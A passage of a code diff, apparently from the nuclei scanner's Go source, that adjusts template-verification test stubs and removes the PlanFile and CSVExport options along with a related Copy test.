executerOptions.TemplateVerificationCallback = func(path string) *protocols.TemplateVerification {
require.Equal(t, templatePath, path)
return trustedVerificationForTest(templateSource)
}
first, err := templates.Parse(templatePath, nil, executerOptions)
require.NoError(t, err)
@@ -1351,6 +1012,9 @@ http:
for i := range compiledTemplates {
engineOptions := executerOpts.Copy()
engineOptions.Parser = templates.NewParserWithParsedCache(sharedParser.Cache())
engineOptions.TemplateVerificationCallback = func(string) *protocols.TemplateVerification {
return trustedVerificationForTest(templateSource)
}
waitGroup.Add(1)
go func() {
defer waitGroup.Done()
@@ -1361,7 +1025,7 @@ http:
for i := range compiledTemplates {
require.NoError(t, parseErrors[i])
require.NotNil(t, compiledTemplates[i])
require.True(t, compiledTemplates[i].Verified)
}
require.Equal(t, int32(1), sourceReads.Load())
-7
View File
@@ -251,9 +251,6 @@ type Options struct {
Silent bool
// Validate validates the templates passed to nuclei.
Validate bool
// PlanFile is where the work a scan would do is written as JSON lines;
// nuclei exits after writing it, without sending requests.
PlanFile string
// NoStrictSyntax disables strict syntax check on nuclei templates (allows custom key-value pairs).
NoStrictSyntax bool
// Verbose flag indicates whether to show verbose output or not
@@ -284,8 +281,6 @@ type Options struct {
JSONExport string
// JSONLExport is the file to export JSONL output format to
JSONLExport string
// CSVExport is the file to export CSV output format to
CSVExport string
// PDFExport is the file to export PDF output format to
PDFExport string
// Redact redacts given keys in
@@ -714,7 +709,6 @@ func (options *Options) Copy() *Options {
AutomaticScan: options.AutomaticScan,
Silent: options.Silent,
Validate: options.Validate,
PlanFile: options.PlanFile,
NoStrictSyntax: options.NoStrictSyntax,
Verbose: options.Verbose,
VerboseVerbose: options.VerboseVerbose,
@@ -730,7 +724,6 @@ func (options *Options) Copy() *Options {
OmitTemplate: options.OmitTemplate,
JSONExport: options.JSONExport,
JSONLExport: options.JSONLExport,
CSVExport: options.CSVExport,
PDFExport: options.PDFExport,
Redact: options.Redact,
NoRedact: options.NoRedact,
-7
View File
@@ -17,13 +17,6 @@ func TestCopyPreservesPayloadRandomOrder(t *testing.T) {
}
}
func TestCopyPreservesPlanFile(t *testing.T) {
options := &Options{PlanFile: "plan.jsonl"}
if options.Copy().PlanFile != "plan.jsonl" {
t.Fatal("Copy must preserve PlanFile, or an embedded caller loses plan mode")
}
}
func TestToJSONMapRejectsKeysSharingAStringForm(t *testing.T) {
metadata := map[string]interface{}{
"labels": []interface{}{map[interface{}]interface{}{1: "int", 1.0: "float64"}},